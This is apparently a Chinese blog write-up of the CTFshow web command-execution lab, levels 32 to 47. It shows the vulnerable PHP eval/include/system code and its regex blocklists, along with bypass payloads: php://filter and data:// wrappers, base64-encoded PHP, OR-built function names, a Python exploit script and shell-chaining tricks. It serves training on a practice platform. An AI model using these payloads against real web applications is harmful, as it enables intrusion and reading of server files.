ctfshow web入门 命令执行

web32

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里将(和;都禁用了 并且php中不用括号的函数有echo、print、die、include、require、include_once、require_once,

用include函数和php伪协议来读php文件:

playload:

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

然后base64解码得到flag

 32-35同理

web36

过滤了数字,将get传参的参数换成字母即可

playload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

文件包含get传入的值,利用伪协议读flag

playoad:

?c=data://text/plain,<?php system("cat f*"); 或者

?c=data://text/plain,<?php system("cat fla*")?>

web38

多过滤了两个字符file和php,使用php短标签进行绕过

或者base64编码绕过

?c=data://text/plain,<?= system("cat fla*")?>

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=

web39

if(!preg_match("/flag/i", $c)){
        include($c.".php");

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

?c=data://text/plain,<?= system("cat fla*")?>

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }

符号基本都过滤了,但是这里过滤的是中文的括号()

这道题思想应该就是通过数组改造来读取文件

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。

通过 pos(localeconv())得到点号,然后利用scandir(.)来获取当前目录下的文件

通过构造来查看目录下的文件

?c=print_r((scandir(current(localeconv()))));

 

接下来就是读取flag.php

首先逆序数组,flag顺序变为1,(从零开始)用next函数指针指向下一位,可得到flag所在位置

?c=print_r(next(array_reverse((scandir(current(localeconv()))))));

 

最后一步读取flag内容,使用highlight_file()函数

highlight_file() 函数对文件进行语法高亮显示。

?c=highlight_file(next(array_reverse((scandir(current(localeconv()))))));

 

web41

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }

过滤了小写字母以及符号~ ^  &等符号,说明不能通过取反,异或和相与绕过,但是这里没过滤符号|,可以进行或绕过

这里从网上找了一个大佬绕过的脚本,也很简单,现筛选出未过滤的字符,然后彼此或运算,找出我们需要的字符。

import re
import requests

url="http://b14a69c5-67d2-4776-9df7-e0f3635e2385.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="cat flag.php"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

获得flag

web42

> 代表重定向到哪里,例如:echo "123" > /home/123.txt 
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null" 
2 表示stderr标准错误 
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 

1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

简单来说:>/dev/null 2>&1主要意思是不进行回显的意思,要让命令回显,那么进行命令分隔即可

或者要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

构造playload:

?c=cat flag.php;

?c=cat flag.php || ls

 查看源代码,获得flag。

web43

if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }

 

过滤掉了;和cat

 和42套路一样

构造playload

?c= nl flag.php || ls

web44

过虑了:和cat以及flag,比43多过滤了个flag,用*表示即可

?c= nl fla* || ls

web45

空格可以用${IFS}%0a代替绕过过滤

%0a是回车键,是换行

但是我在使用${IFS}时,并不能得到flag,搞不懂是为什么这就用%0a绕过

构造playload

?c=nl%09fla*||ls (%09水平定位符)

?c=nl%09fla*.php%0A

web46

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }

多过滤了数字和*,我们可以用?来代替即可

playload

?c=nl%09fla?.php%0A

web47

    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }

过滤了很多打开flag.php的函数,但是依然没有过滤nl

playload

?c=nl%09fla?.php%0A

 

posted @ 2021-10-30 10:47  微草wd  阅读(166)  评论(0编辑  收藏  举报